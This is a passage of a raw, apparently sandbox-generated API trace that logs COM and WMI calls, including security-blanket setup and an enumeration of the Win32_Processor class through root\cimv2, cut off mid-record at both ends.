puBuffLength=0x1de730*=0x0, pszText=0x0 | out: puBuffLength=0x1de730*=0xf, pszText=0x0) returned 0x0 [0127.328] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.328] CoGetContextToken (in: pToken=0x1de570 | out: pToken=0x1de570) returned 0x0 [0127.328] CoGetContextToken (in: pToken=0x1de530 | out: pToken=0x1de530) returned 0x0 [0127.328] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.328] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5ac*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5a8 | out: ppvObject=0x1de5a8*=0x506daa8) returned 0x0 [0127.329] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.329] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de730*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de730*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.329] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.329] CoGetContextToken (in: pToken=0x1de60c | out: pToken=0x1de60c) returned 0x0 [0127.329] CoUnmarshalInterface (in: pStm=0x8d02d0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1de610 | out: ppv=0x1de610*=0x8d56ec) returned 0x0 [0127.329] CoMarshalInterface (pStm=0x8d02d0, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x8d56ec, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0127.329] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de230 | out: ppvObject=0x1de230*=0x8d56ec) returned 0x0 [0127.329] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x3 [0127.329] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.329] CoGetContextToken (in: pToken=0x1de0cc | out: pToken=0x1de0cc) returned 0x0 [0127.330] WbemLocator:IUnknown:AddRef (This=0x8d56ec) returned 0x3 [0127.330] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de370 | out: ppvObject=0x1de370*=0x8d56cc) returned 0x0 [0127.330] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8d56cc, pProxy=0x8d56ec, pAuthnSvc=0x1de3b8, pAuthzSvc=0x1de3b4, pServerPrincName=0x1de3c4, pAuthnLevel=0x1de3bc, pImpLevel=0x1de3a8, pAuthInfo=0x1de3ac, pCapabilites=0x1de3b0 | out: pAuthnSvc=0x1de3b8*=0xa, pAuthzSvc=0x1de3b4*=0x0, pServerPrincName=0x1de3c4, pAuthnLevel=0x1de3bc*=0x6, pImpLevel=0x1de3a8*=0x3, pAuthInfo=0x1de3ac, pCapabilites=0x1de3b0*=0x20) returned 0x0 [0127.330] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x3 [0127.330] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de364 | out: ppvObject=0x1de364*=0x8d56ec) returned 0x0 [0127.330] WbemLocator:IUnknown:QueryInterface (in: This=0x8d56ec, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de360 | out: ppvObject=0x1de360*=0x8d56cc) returned 0x0 [0127.330] WbemLocator:IClientSecurity:SetBlanket (This=0x8d56cc, pProxy=0x8d56ec, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.330] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x4 [0127.330] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x3 [0127.330] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x2 [0127.330] SysStringLen (param_1=0x0) returned 0x0 [0127.330] GetLastError () returned 0x0 [0127.331] CoGetContextToken (in: pToken=0x1de4ec | out: pToken=0x1de4ec) returned 0x0 [0127.331] WbemLocator:IUnknown:AddRef (This=0x506dc84) returned 0x3 [0127.331] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x2 [0127.331] CoGetContextToken (in: pToken=0x1de080 | out: pToken=0x1de080) returned 0x0 [0127.331] WbemLocator:IUnknown:AddRef (This=0x506dc84) returned 0x3 [0127.331] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de370 | out: ppvObject=0x1de370*=0x8d56cc) returned 0x0 [0127.331] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x8d56cc, pProxy=0x506dc84, pAuthnSvc=0x1de3b8, pAuthzSvc=0x1de3b4, pServerPrincName=0x1de3c4, pAuthnLevel=0x1de3bc, pImpLevel=0x1de3a8, pAuthInfo=0x1de3ac, pCapabilites=0x1de3b0 | out: pAuthnSvc=0x1de3b8*=0xa, pAuthzSvc=0x1de3b4*=0x0, pServerPrincName=0x1de3c4, pAuthnLevel=0x1de3bc*=0x6, pImpLevel=0x1de3a8*=0x3, pAuthInfo=0x1de3ac, pCapabilites=0x1de3b0*=0x20) returned 0x0 [0127.331] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x3 [0127.331] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de364 | out: ppvObject=0x1de364*=0x8d56ec) returned 0x0 [0127.331] WbemLocator:IUnknown:QueryInterface (in: This=0x506dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de360 | out: ppvObject=0x1de360*=0x8d56cc) returned 0x0 [0127.331] WbemLocator:IClientSecurity:SetBlanket (This=0x8d56cc, pProxy=0x506dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.331] WbemLocator:IUnknown:Release (This=0x8d56cc) returned 0x4 [0127.331] WbemLocator:IUnknown:Release (This=0x8d56ec) returned 0x3 [0127.331] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x2 [0127.331] SysStringLen (param_1=0x0) returned 0x0 [0127.331] GetLastError () returned 0x0 [0127.332] CoGetContextToken (in: pToken=0x1de578 | out: pToken=0x1de578) returned 0x0 [0127.332] CoGetContextToken (in: pToken=0x1de538 | out: pToken=0x1de538) returned 0x0 [0127.332] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de5b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b0 | out: ppvObject=0x1de5b0*=0x506fd10) returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.332] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de738*=0x0, pszText=0x0 | out: puBuffLength=0x1de738*=0x10, pszText=0x0) returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.332] CoGetContextToken (in: pToken=0x1de578 | out: pToken=0x1de578) returned 0x0 [0127.332] CoGetContextToken (in: pToken=0x1de538 | out: pToken=0x1de538) returned 0x0 [0127.332] WbemDefPath:IUnknown:AddRef (This=0x506fd10) returned 0x2 [0127.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x506fd10, riid=0x1de5b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5b0 | out: ppvObject=0x1de5b0*=0x506fd10) returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x2 [0127.332] WbemDefPath:IWbemPath:GetText (in: This=0x506fd10, lFlags=2, puBuffLength=0x1de738*=0x10, pszText="000000000000000" | out: puBuffLength=0x1de738*=0x10, pszText="win32_processor") returned 0x0 [0127.332] WbemDefPath:IUnknown:Release (This=0x506fd10) returned 0x1 [0127.336] CoGetContextToken (in: pToken=0x1de36c | out: pToken=0x1de36c) returned 0x0 [0127.336] WbemLocator:IUnknown:AddRef (This=0x506dc84) returned 0x3 [0127.336] IWbemServices:GetObject (in: This=0x506dc84, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x1de4e0*=0x0, ppCallResult=0x0 | out: ppObject=0x1de4e0*=0x5075708, ppCallResult=0x0) returned 0x0 [0127.358] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x2 [0127.359] IWbemClassObject:Get (in: This=0x5075708, wszName="__PATH", lFlags=0, pVal=0x1de69c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1de780*=0, plFlavor=0x1de77c*=0 | out: pVal=0x1de69c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor", varVal2=0x0), pType=0x1de780*=8, plFlavor=0x1de77c*=64) returned 0x0 [0127.359] SysStringLen (param_1="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor") returned 0x26 [0127.360] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x308 [0127.360] GetLastError () returned 0x0 [0127.360] SetEvent (hEvent=0x284) returned 1 [0127.360] GetLastError () returned 0x0 [0127.360] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1de698*=0x308, lpdwindex=0x1de450 | out: lpdwindex=0x1de450) returned 0x0 [0127.363] CoGetContextToken (in: pToken=0x1de4e8 | out: pToken=0x1de4e8) returned 0x0 [0127.363] CoGetContextToken (in: pToken=0x1de4a8 | out: pToken=0x1de4a8) returned 0x0 [0127.363] WbemDefPath:IUnknown:AddRef (This=0x506dca8) returned 0x2 [0127.363] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x1de524*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de520 | out: ppvObject=0x1de520*=0x506dca8) returned 0x0 [0127.363] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x2 [0127.363] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x1 [0127.363] CoGetContextToken (in: pToken=0x1de568 | out: pToken=0x1de568) returned 0x0 [0127.364] CoGetContextToken (in: pToken=0x1de528 | out: pToken=0x1de528) returned 0x0 [0127.364] WbemDefPath:IUnknown:AddRef (This=0x506dca8) returned 0x2 [0127.364] WbemDefPath:IUnknown:QueryInterface (in: This=0x506dca8, riid=0x1de5a4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5a0 | out: ppvObject=0x1de5a0*=0x506dca8) returned 0x0 [0127.364] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x2 [0127.364] WbemDefPath:IWbemPath:SetText (This=0x506dca8, uMode=0x4, pszPath="\\\\XDUWTFONO\\ROOT\\cimv2:Win32_Processor") returned 0x0 [0127.364] WbemDefPath:IUnknown:Release (This=0x506dca8) returned 0x1 [0127.364] IWbemClassObject:Get (in: This=0x5075708, wszName="__CLASS", lFlags=0, pVal=0x1de714*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1de7c8*=0, plFlavor=0x1de7c4*=0 | out: pVal=0x1de714*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x1de7c8*=8, plFlavor=0x1de7c4*=64) returned 0x0 [0127.364] SysStringLen (param_1="Win32_Processor") returned 0xf [0127.364] CoGetContextToken (in: pToken=0x1ddfac | out: pToken=0x1ddfac) returned 0x0 [0127.364] WbemLocator:IUnknown:AddRef (This=0x506dc84) returned 0x3 [0127.364] IWbemServices:CreateInstanceEnum (in: This=0x506dc84, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x1de5ec | out: ppEnum=0x1de5ec*=0x5075b44) returned 0x0 [0127.380] IUnknown:QueryInterface (in: This=0x5075b44, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de29c | out: ppvObject=0x1de29c*=0x5075b48) returned 0x0 [0127.380] IClientSecurity:QueryBlanket (in: This=0x5075b48, pProxy=0x5075b44, pAuthnSvc=0x1de2e4, pAuthzSvc=0x1de2e0, pServerPrincName=0x1de2f0, pAuthnLevel=0x1de2e8, pImpLevel=0x1de2d4, pAuthInfo=0x1de2d8, pCapabilites=0x1de2dc | out: pAuthnSvc=0x1de2e4*=0xa, pAuthzSvc=0x1de2e0*=0x0, pServerPrincName=0x1de2f0, pAuthnLevel=0x1de2e8*=0x6, pImpLevel=0x1de2d4*=0x2, pAuthInfo=0x1de2d8, pCapabilites=0x1de2dc*=0x1) returned 0x0 [0127.380] IUnknown:Release (This=0x5075b48) returned 0x1 [0127.380] IUnknown:QueryInterface (in: This=0x5075b44, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de290 | out: ppvObject=0x1de290*=0x8d57dc) returned 0x0 [0127.380] IUnknown:QueryInterface (in: This=0x5075b44, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de28c | out: ppvObject=0x1de28c*=0x5075b48) returned 0x0 [0127.380] IClientSecurity:SetBlanket (This=0x5075b48, pProxy=0x5075b44, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.383] IUnknown:Release (This=0x5075b48) returned 0x2 [0127.383] WbemLocator:IUnknown:Release (This=0x8d57dc) returned 0x1 [0127.383] CoTaskMemFree (pv=0x8a4b58) [0127.383] WbemLocator:IUnknown:Release (This=0x506dc84) returned 0x2 [0127.383] IUnknown:QueryInterface (in: This=0x5075b44, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddc44 | out: ppvObject=0x1ddc44*=0x8d57dc) returned 0x0 [0127.383] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ddc00 | out: ppvObject=0x1ddc00*=0x0) returned 0x80004002 [0127.386] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1ddaf4 | out: ppvObject=0x1ddaf4*=0x0) returned 0x80004002 [0127.387] WbemLocator:IUnknown:AddRef (This=0x8d57dc) returned 0x3 [0127.387] CoGetContextToken (in: pToken=0x1dda8c | out: pToken=0x1dda8c) returned 0x0 [0127.387] CoGetContextToken (in: pToken=0x1dda50 | out: pToken=0x1dda50) returned 0x0 [0127.387] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dda84 | out: ppvObject=0x1dda84*=0x8793dc) returned 0x0 [0127.387] IComThreadingInfo:GetCurrentApartmentType (in: This=0x8793dc, pAptType=0x1ddab4 | out: pAptType=0x1ddab4*=3) returned 0x0 [0127.387] IUnknown:Release (This=0x8793dc) returned 0x1 [0127.387] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x74a123cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1dda74 | out: ppvObject=0x1dda74*=0x8d573c) returned 0x0 [0127.387] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x8d573c, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1dda7c | out: pCid=0x1dda7c*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0127.387] WbemLocator:IUnknown:Release (This=0x8d573c) returned 0x3 [0127.388] CoGetContextToken (in: pToken=0x1dda84 | out: pToken=0x1dda84) returned 0x0 [0127.388] WbemLocator:IUnknown:AddRef (This=0x8d57dc) returned 0x4 [0127.388] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x74a6767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddaf8 | out: ppvObject=0x1ddaf8*=0x8d57c4) returned 0x0 [0127.388] WbemLocator:IUnknown:Release (This=0x8d57dc) returned 0x4 [0127.388] WbemLocator:IRpcOptions:Query (in: This=0x8d57c4, pPrx=0x8d57dc, dwProperty=2, pdwValue=0x1ddb1c | out: pdwValue=0x1ddb1c) returned 0x80004002 [0127.388] WbemLocator:IUnknown:Release (This=0x8d57c4) returned 0x3 [0127.388] WbemLocator:IUnknown:Release (This=0x8d57dc) returned 0x2 [0127.388] CoGetContextToken (in: pToken=0x1ddef8 | out: pToken=0x1ddef8) returned 0x0 [0127.388] CoGetContextToken (in: pToken=0x1ddeb8 | out: pToken=0x1ddeb8) returned 0x0 [0127.388] WbemLocator:IUnknown:AddRef (This=0x8d57dc) returned 0x3 [0127.388] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x1ddf34*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1ddf30 | out: ppvObject=0x1ddf30*=0x5075b44) returned 0x0 [0127.389] WbemLocator:IUnknown:Release (This=0x8d57dc) returned 0x3 [0127.389] IUnknown:Release (This=0x5075b44) returned 0x2 [0127.389] IUnknown:Release (This=0x5075b44) returned 0x1 [0127.389] CoGetContextToken (in: pToken=0x1de5c8 | out: pToken=0x1de5c8) returned 0x0 [0127.389] CoGetContextToken (in: pToken=0x1de588 | out: pToken=0x1de588) returned 0x0 [0127.389] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.389] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de604*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de600 | out: ppvObject=0x1de600*=0x506daa8) returned 0x0 [0127.389] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.389] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x506daa8, puCount=0x1de77c | out: puCount=0x1de77c*=0x2) returned 0x0 [0127.389] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.389] CoGetContextToken (in: pToken=0x1de5b8 | out: pToken=0x1de5b8) returned 0x0 [0127.389] CoGetContextToken (in: pToken=0x1de578 | out: pToken=0x1de578) returned 0x0 [0127.389] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5f4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5f0 | out: ppvObject=0x1de5f0*=0x506daa8) returned 0x0 [0127.390] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.390] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de778*=0x0, pszText=0x0 | out: puBuffLength=0x1de778*=0xf, pszText=0x0) returned 0x0 [0127.390] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.390] CoGetContextToken (in: pToken=0x1de5b8 | out: pToken=0x1de5b8) returned 0x0 [0127.390] CoGetContextToken (in: pToken=0x1de578 | out: pToken=0x1de578) returned 0x0 [0127.390] WbemDefPath:IUnknown:AddRef (This=0x506daa8) returned 0x3 [0127.390] WbemDefPath:IUnknown:QueryInterface (in: This=0x506daa8, riid=0x1de5f4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1de5f0 | out: ppvObject=0x1de5f0*=0x506daa8) returned 0x0 [0127.390] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x3 [0127.390] WbemDefPath:IWbemPath:GetText (in: This=0x506daa8, lFlags=4, puBuffLength=0x1de778*=0xf, pszText="00000000000000" | out: puBuffLength=0x1de778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.390] WbemDefPath:IUnknown:Release (This=0x506daa8) returned 0x2 [0127.390] CoGetContextToken (in: pToken=0x1de110 | out: pToken=0x1de110) returned 0x0 [0127.391] CoGetContextToken (in: pToken=0x1de0d0 | out: pToken=0x1de0d0) returned 0x0 [0127.391] WbemLocator:IUnknown:AddRef (This=0x8d57dc) returned 0x2 [0127.391] WbemLocator:IUnknown:QueryInterface (in: This=0x8d57dc, riid=0x1de14c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1de148 | out: ppvObject=0x1de148*=0x5075b44) returned 0x0 [0127.391] WbemLocator:IUnknown:Release (This=0x8d57dc) returned 0x2 [0127.391] IUnknown:AddRef (This=0x5075b44) returned 0x3 [0127.391] IEnumWbemClassObject:Clone (in: This=0x5075b44, ppEnum=0x1de744 | out: ppEnum=0x1de744*=0x5075c0c) returned 0x0 [0127.552] IUnknown:QueryInterface (in: This=0x5075c0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de400 | out: ppvObject=0x1de400*=0x5075c10) returned 0x0 [0127.552] IClientSecurity:QueryBlanket (in: This=0x5075c10, pProxy=0x5075c0c, pAuthnSvc=0x1de448, pAuthzSvc=0x1de444, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c, pImpLevel=0x1de438, pAuthInfo=0x1de43c, pCapabilites=0x1de440 | out: pAuthnSvc=0x1de448*=0xa, pAuthzSvc=0x1de444*=0x0, pServerPrincName=0x1de454, pAuthnLevel=0x1de44c*=0x6, pImpLevel=0x1de438*=0x2, pAuthInfo=0x1de43c, pCapabilites=0x1de440*=0x1) returned 0x0 [0127.552] IUnknown:Release (This=0x5075c10) returned 0x1 [0127.552] IUnknown:QueryInterface (in: This=0x5075c0c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f4 | out: ppvObject=0x1de3f4*=0x8db47c) returned 0x0 [0127.552] IUnknown:QueryInterface (in: This=0x5075c0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1de3f0 | out: ppvObject=0x1de3f0*=0x5075c10) returned 0x0 [0127.552] IClientSecurity:SetBlanket (This=0x5075c10, pProxy=0x5075c0c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0127.675] IUnknown:Release (This=0x5075c10) returned 0x2 [0127.675] WbemLocator:IUnknown:Release (This=0x8db47c) returned 0x1 [0127.675] CoTaskMemFree (pv=0x8a4c18) [0127.675] IUnknown:Release (This=0x5075b44) returned 0x2 [0127.675] IUnknown:QueryInterface (in: This=0x5075c0c, riid=0x74b17714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddd9c | out: ppvObject=0x1ddd9c*=0x8db47c) returned 0x0 [0127.676] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x74b34204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ddd58 | out: ppvObject=0x1ddd58*=0x0) returned 0x80004002 [0127.711] WbemLocator:IUnknown:QueryInterface (in: This=0x8db47c, riid=0x74a60b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1ddc4c | out: ppvObject=0x1ddc4c*=0x0) returned 0x80004002 [0127.716] WbemLocator:IUnknown:AddRef (This=0x8db47c) returned 0x3 [0127.716] CoGetContextToken (in: pToken=0x1ddbe4 | out: pToken=0x1ddbe4) returned 0x0 [0127.716] CoGetContextToken (in: pToken=0x1ddba8 | out: pToken=0x1ddba8) returned 0x0 [0127.716] IUnknown:QueryInterface (in: This=0x8793d0, riid=0x74b33ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ddbdc | out: 